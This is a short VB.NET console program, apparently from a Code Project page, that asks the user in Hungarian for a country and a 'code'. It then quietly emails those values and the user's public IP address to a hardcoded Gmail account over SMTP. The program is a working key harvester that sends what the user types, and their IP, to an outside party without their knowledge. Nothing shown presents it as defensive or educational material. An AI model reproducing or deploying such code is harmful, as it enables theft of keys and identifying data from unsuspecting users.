Imports System.Net.Mail Module Module1 Public Region As String Public Key As String Sub Main() Console.WriteLine("Hello! Ird be az országot és a kodot!") Region = Console.ReadLine Key = Console.ReadLine Sendmail() End Sub Sub Sendmail() Dim WC As New System.Net.WebClient Dim MyMailMessage As New MailMessage MyMailMessage.From = New MailAddress("ferike112@gmail.com") MyMailMessage.To.Add("ferike112@gmail.com") MyMailMessage.Subject = ("Region:" & Region & "Their IP is: " & System.Text.Encoding.ASCII.GetString((WC.DownloadData("http://whatismyip.com/automation/n09230945.asp")))) WC.Dispose() MyMailMessage.Body = ("REGION: " & Region & vbCrLf & "Key: " & Key) Dim SMTPServer As New SmtpClient("smtp.gmail.com") SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential("ferike112@gmail.com", "********") SMTPServer.EnableSsl = True Try SMTPServer.Send(MyMailMessage) Catch ex As SmtpException 'MessageBox.Show(ex.Message) End Try End Sub End Module
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)